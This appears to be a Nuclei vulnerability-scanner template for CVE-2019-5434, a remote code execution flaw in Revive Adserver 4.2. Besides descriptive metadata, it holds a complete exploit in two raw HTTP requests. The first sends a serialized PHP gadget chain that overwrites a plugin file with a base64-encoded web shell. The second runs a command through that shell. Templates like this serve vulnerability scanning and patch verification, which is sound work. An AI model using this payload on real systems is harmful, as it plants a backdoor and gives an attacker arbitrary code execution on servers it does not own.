id: CVE-2019-5434 info: name: Revive Adserver 4.2 - Remote Code Execution author: omarjezi severity: critical description: | Revive Adserver 4.2 is susceptible to remote code execution. An attacker can send a crafted payload to the XML-RPC invocation script and trigger the unserialize() call on the "what" parameter in the "openads.spc" RPC method. This can be exploited to perform various types of attacks, e.g. serialize-related PHP vulnerabilities or PHP object injection. It is possible, although unconfirmed, that the vulnerability has been used by some attackers in order to gain access to some Revive Adserver instances and deliver malware through them to third-party websites. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system. remediation: | Apply the latest security patches or upgrade to a newer version of Revive Adserver. reference: - https://packetstormsecurity.com/files/155559/Revive-Adserver-4.2-Remote-Code-Execution.html - https://www.exploit-db.com/exploits/47739 - https://www.revive-adserver.com/security/revive-sa-2019-001/ - https://nvd.nist.gov/vuln/detail/CVE-2019-5434 - http://packetstormsecurity.com/files/155559/Revive-Adserver-4.2-Remote-Code-Execution.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2019-5434 cwe-id: CWE-502 epss-score: 0.345 epss-percentile: 0.96715 cpe: cpe:2.3:a:revive-sas:revive_adserver:*:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: revive-sas product: revive_adserver shodan-query: http.favicon.hash:106844876 tags: cve,cve2019,edb,packetstorm,revive,adserver,rce,revive-sas http: - raw: - | POST /adxmlrpc.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip openads.spc remote_addr 8.8.8.8 cookies a:1:{S:4:"what";O:11:"Pdp\Uri\Url":1:{S:17:"\00Pdp\5CUri\5CUrl\00host";O:21:"League\Flysystem\File":2:{S:7:"\00*\00path";S:55:"plugins/3rdPartyServers/ox3rdPartyServers/max.class.php";S:13:"\00*\00filesystem";O:21:"League\Flysystem\File":2:{S:7:"\00*\00path";S:66:"x://data:text/html;base64,PD9waHAgc3lzdGVtKCRfR0VUWyIwIl0pOyA/Pg==";S:13:"\00*\00filesystem";O:29:"League\Flysystem\MountManager":2:{S:14:"\00*\00filesystems";a:1:{S:1:"x";O:27:"League\Flysystem\Filesystem":2:{S:10:"\00*\00adapter";O:30:"League\Flysystem\Adapter\Local":1:{S:13:"\00*\00pathPrefix";S:0:"";}S:9:"\00*\00config";O:23:"League\Flysystem\Config":1:{S:11:"\00*\00settings";a:1:{S:15:"disable_asserts";b:1;}}}}S:10:"\00*\00plugins";a:1:{S:10:"__toString";O:34:"League\Flysystem\Plugin\ForcedCopy":0:{}}}}}}} 0 dsad 1 0 1 - | GET /plugins/3rdPartyServers/ox3rdPartyServers/max.class.php?0=id HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: header_2 words: - "text/html" - type: regex part: body_2 regex: - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)' - type: status status: - 200 # digest: 4b0a004830460221008e54ab23a9b7fe0d666d67a60556b8ffb5d534af66b0ab7931690cbdd6c80679022100c4eb7d2f3a2b5b14af14bd9009c5f852bca30c52494b8a0e517bc098328bedf6:922c64590222798bb761d5b6d8e72950